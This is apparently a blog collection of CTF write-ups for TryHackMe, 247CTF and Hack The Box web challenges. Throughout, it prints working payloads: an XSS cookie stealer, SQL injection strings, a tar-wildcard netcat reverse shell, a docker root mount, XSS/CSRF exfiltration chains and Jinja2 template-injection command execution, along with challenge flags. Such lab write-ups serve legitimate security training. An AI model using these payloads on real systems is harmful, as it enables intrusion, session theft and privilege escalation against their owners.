TryHackMe solution: The Marketplace

Link: https://tryhackme.com/room/marketplace

#1 “What is flag 1?

First, we need to register as a new user and then login. View the first listing, there is a reporting feature.

In New listing, we can add new with a description, I think it may be vulnerable to XSS.

I try the payload.

<script>console.log(document.cookie)</script>

And it worked.

So we will create a new listing with the description is a payload.

<script>
var req = new XMLHttpRequest();
req.open('post','/contact/a',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('message='+document.cookie);
</script>

This payload will send cookie of anyone who view the listing to us as a message.

To make sure that the admin will view this listing, we will send a report to them by “Report listing to admins” option.

After reporting, we will receive the admin’s cookie.

Use this cookie to access Administration panel and we get the first flag.

#2 “What is flag 2? (User.txt)

As the admin, we can see the list of user.

Click an user and we access: /admin?user=1

I try:

/admin?user='

And we get an error message.

And this web is also vulnerable to SQLi when using MySQL.

To find the tables in this database, we use:

/admin?user=0+union+select+group_concat(table_name),null,null,null+from+information_schema.tables+where+table_schema=database()#

Find all columns in table users.

/admin?user=0+union+select+group_concat(column_name),null,null,null+from+information_schema.columns+where+table_schema=database()+and+table_name='users'#

Find all information of users.

/admin?user=0+union+select+group_concat(id,':',isAdministrator,':',password,':',username),null,null,null+from+users#

Do the same to the table messages. Find all columns.

/admin?user=0+union+select+group_concat(column_name),null,null,null+from+information_schema.columns+where+table_schema=database()+and+table_name='messages'#

Find all content of this table.

/admin?user=0+union+select+group_concat(id,':',is_read,':',message_content,':',user_from,':',user_to),null,null,null+from+messages#

This is the message from system to jake, so we have the ssh password of user jake.

Try to ssh to this server.

ssh jake@10.10.85.26

And we have the second flag.

#3 “What is flag 3? (Root.txt)

See what jake can run with sudo.

sudo -l

We can run file /opt/backups/backup.sh as michael.

This post guide us how to abusing wildcards for tar.

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your-ip> 1234 >/tmp/f" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Stand up a netcat listener on port 1234.

nc -lvnp 1234

Next, we execute

chmod 777 backup.tar
chmod 777 shell.sh
sudo -u michael ./backup.sh

to let michael have permission to run the file, and get michael‘s shell.

Michael is in group docker. Then, we will create a new container mounting the root filesystem.

Use:

python3 -c 'import pty; pty.spawn("/bin/sh")'

to spawning a TTY Shell.

See list of images with:

docker image ls

We will use alpine to create a container.

docker run -v /:/mnt --rm -it alpine sh

-v /:/mnt : mount the root directory of host to /mnt inside the container
--rm : remove the container after the user exits
-it : interactive and assign a tty
alpine : image to use to create container
sh : binary to run when the container starts

And we have the flag in /mnt/root.

Reference: The Marketplace : TryHackMe

247CTF solution: Forgotten file pointer

We know that the flag is in /tmp/flag.txt and we have to send a parameter named include to the server with method GET to read a file.

PHP have a bug named Cannot open file descriptor streams, then we will brute force to find the flag.

https://17ab3b9759789fcb.247ctf.com/?include=/dev/fd/<i>

With 0 <= i <= 99, because include‘s length is less than or equal to 10.

We use:

for i in $(seq 0 99); do echo; echo "Testing fd $i"; curl -s https://17ab3b9759789fcb.247ctf.com/?include=/dev/fd/$i | grep 247; done

The flag is printed when i = 10.

247CTF solution: Helicopter Administrators

XSS

In this challenge, we have a comment function, so i think it might be vulnerable to XSS.

There is a note when reporting, after researching from this note, I found the XSS payload that works:

<style onload=alert("niek")></style>

CSRF

We cannot access the admin’s page, so I think about a CSRF vulnerability where the admin will access the page and comment the page source so that we can see it.

We will comment on the user number 3 (or 2) and make the admin comment on the 1.

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/user/0',true);
req.send();
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

After comment, we report this user so that the admin will view this page and trigger the XSS and CSRF.

Then go to the user number 1 and we have the content of admin’s page in base64. Decode it (change all spaces into +), we can see there is a search function.

<div class="mt-25">
  <form class="navbar-form" method="POST" action="/secret_admin_search" comment="#search-response">
    <div id="search-response" class="description"></div>
    <div class="input-group">    
      <input type="text" class="form-control description" id="search" name="search">
      <span class="input-group-btn">
        <input type="submit" class="btn btn-default search" value="User ID Search">
      </span> 
    </div>
  </form>
</div>

Then, I think about testing CSRF with the search function, the admin will search and comment the result in user 1’s page for us.

I use payload:

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('post','/secret_admin_search',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('search=a');
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

Again, we received a base64 string, change all spaces to + and decode it:

{"message":"SQLite error: no such column: a","result":"error"}

So the web is using SQLite and it is vulnerable to SQL injection.

SQL injection

If we use the payload:

search=1

We can see the information of an user.

{"message":[[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

We can list all table in the database with:

search=1+UNION+SELECT+1,name,1,1,1,null+FROM+sqlite_master+WHERE+type=\'table\'--

There is a table named flag.

{"message":[[1,"Michael Owens",14,22,3,"Sydney, Australia"],[1,"comment",1,1,1,null],[1,"flag",1,1,1,null],[1,"user",1,1,1,null]],"result":"success"}

Next, we find the column’s name of that table.

search=1+UNION+SELECT+1,sql,1,1,1,null+FROM+sqlite_master+WHERE+tbl_name=\'flag\'+AND+type=\'table\'--
{"message":[[1,"CREATE TABLE flag (flag text)",1,1,1,null],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

Now, we have column ‘flag‘ in table ‘flag‘. Let’s get it.

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('post','/secret_admin_search',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('search=1+UNION+SELECT+1,flag,1,1,1,null+FROM+\'flag\'--');
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

And we found the flag.

{"message":[[1,"247CTF{XXXXX}",1,1,1,null],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

247CTF solution: Secured session

In this challenge, we have code in python. As we read the file, we can see that before the web compare the parameter secret_key with os.urandom(24), the session is already set equal to the flag.

So, we only need to get the session of the page: https://d2a55b8b83bf981a.247ctf.com/flag

eyJmbGFnIjp7IiBiIjoiTWpRM1ExUkdlMlJoT0RBM09UVm1PR0UxWTJGaU1tVXdNemRrTnpNNE5UZ3dOMkk1WVRreGZRPT0ifX0.YEDySg.JxL0wjTpynKN91NMg4u75rjIX_Y

Decode this base64 string twice and we can get the flag.

Hack The Box solution: Emdee five for life

Access the page and we get:

Try submit button:

Then, we need to submit the string in MD5 really fast, we will need to code a simple program.

The page source is:

and we can extract the string with a regex:

center'>[\w]+<\/h3

Code in python3:

import requests
import hashlib
import re

url="http://167.99.86.47:31867/"

r=requests.session()
out=r.get(url)
out=re.search("center'>[\w]+<\/h3",out.text)
out=re.search(">[\w]+<",out[0])
out=re.search("[^|>|<]+",out[0])

out=hashlib.md5(out[0].encode('utf-8')).hexdigest()
data={'hash': out}
out = r.post(url = url, data = data)

print(out.text)

Flag: HTB{N1c3_ScrIpt1nG_B0i!}

Hack The Box solution: Templated

When accessing the page, we get a message:

Do a little research, we find out that Flask/Jinja2 has a Server-side template injection vulnerability.

To confirm that, try to access: /{{7*7}}

and we get:

To execute a command, we just need to use a simple payload from Server Side Template Injection with Jinja2:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Then, we get:

The 'id' command executed, try ‘ls’ command and get:

There is a file named ‘flag.txt’, so we read that file with:

/{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

Flag: HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}

CTF write up: IAW302

In this challenge, we will play Among Us.

Click a name and we will be redirected to the result page: /result.php?choose=CT1

Delete parameter ‘choose‘ to access ‘result.php’ and we have:

Therefore, we need to use Race Condition to pass unlink() function and run echo.

Python2 code is:

from multiprocessing import Process
import requests

def f():
  r = requests.get("http://35.198.195.87:7002/result.php?choose=CT1")
  print r.text

if __name__ == '__main__':
  while 1:
    p = Process(target=f )
    p2 = Process(target=f )
    p3 = Process(target=f )
    p4 = Process(target=f )
    p5 = Process(target=f )

    p.start()
    p2.start()
    p3.start()
    p4.start()
    p5.start()

    p.join()
    p2.join()
    p3.join()
    p4.join()
    p5.join()
    print "-----------------------"

And we found the flag.

Flag: FUSEC{Hua_voi_moi_nguoi_lan_nay_lan_cuoi_dao_de}

Design a site like this with WordPress.com
Get started